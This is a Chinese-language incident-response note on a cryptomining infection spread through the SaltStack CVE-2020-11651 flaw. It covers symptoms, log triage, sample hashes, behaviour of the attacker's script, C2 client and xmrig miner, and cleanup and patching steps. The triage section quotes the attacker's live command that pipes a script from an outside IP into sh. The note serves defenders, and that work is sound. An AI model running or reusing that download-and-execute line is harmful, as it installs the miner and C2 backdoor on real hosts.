SaltStack漏洞導致的挖礦排查思路
- 2020 年 5 月 5 日
- 筆記
- IT-網路安全-應急響應
描述
SaltStack
是一套C/S
架構的運維工具,服務埠默認為4505
/4506
,兩個埠如果對外網開放危害非常大,黑客利用SaltStack
的遠程命令執行漏洞CVE-2020-11651
可以直接繞過Salt-Master
的認證機制,調用相關函數向Salt-Minion
下髮指令執行系統命令,最終導致挖礦。
現象
受害Salt-Minion
機器上存在挖礦進程salt-minions
。
tmp
目錄下存在可疑二進位文件:
salt-store
salt-minions
排查
- 確定所有
salt-master
機器列表; - 查看當天
salt-master
的日誌文件/var/log/salt/minion
,是否存在可疑命令執行,篩選cmdmod
:
- 找到可疑的命令執行內容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 確認
SaltStack
版本,是否存在漏洞CVE-2020-11651
。
樣本分析
共三個樣本:
文件名 | MD5 |
---|---|
sa.sh | 204780df7dd946401d6e545a130689fb |
salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
這是黑客原始下載執行的腳本文件,salt-store
從這裡下載下載的。
該腳本執行後首先進行一些系統設置:關閉防火牆、設置ulimit、關閉防火牆、關閉watchdog告警,並且將系統syslog日誌刪除:
然後檢測伺服器上是否安裝安騎士和雲鏡服務,有則將進程停止並下載對應的卸載腳本進行卸載操作:
之後通過netstat
篩選伺服器開啟的埠和連接,將對應進程全部停止:
然後通過ps
、pkill
、pgrep
、killall
篩選進程名和參數,將其對應的進程殺掉,並且還會清理cpu資源佔用超過10%的進程,保證有更多的硬體資源可以利用:
之後會清理/tmp
、/etc/
下其他挖礦進程的二進位文件:
該腳本還會清理docker
運行的挖礦程式:
腳本最後會從遠程下載惡意二進位文件salt-store
到/tmp
或/var/tmp
下:
download2
函數中會從bitbucket
下載惡意二進位文件,如果失敗會調用download3
函數從217.12.210.192
下載:
下載之後,將包含以下欄位的計劃任務刪除,這一步可以將其他挖礦和一些HIDS服務的守護任務刪掉:
salt-store
該文件是C2
客戶端,從控制端接收指令執行。
運行後該程式會釋放礦機文件salt-minions
到/tmp/
下:
salt-store
運行期間會和以下url
進行http
交互:
對該文件靜態分析後,發現該程式具有如下功能,包括運行礦機、執行遠端指令、埠掃描等:
從樣本分析結果看,可以判定這是一個命令控制系統(C2)的客戶端,程式運行之後主機會在遠端上線,黑客可以登錄遠端給客戶機下髮指令啟動挖礦程式。
salt-minions
由salt-store
運行時釋放。
該文件有明顯的xmrig
特徵:
所以該文件是一個xmrig
的礦機。
清理恢復
清理步驟
- 停止惡意進程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
- 刪除惡意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢復
- 升級
SaltStack
到最新版本,修補CVE-2020-11651
漏洞,升級前建議做好快照備份措施,安全版本下載地址參考://repo.saltstack.com; - 設置
SaltStack
為自動更新,及時獲取相應修補程式; - 將
Salt Master
默認監聽埠(默認4505
和4506
)設置為禁止對公網開放,或僅對可信對象開放,避免被黑客利用;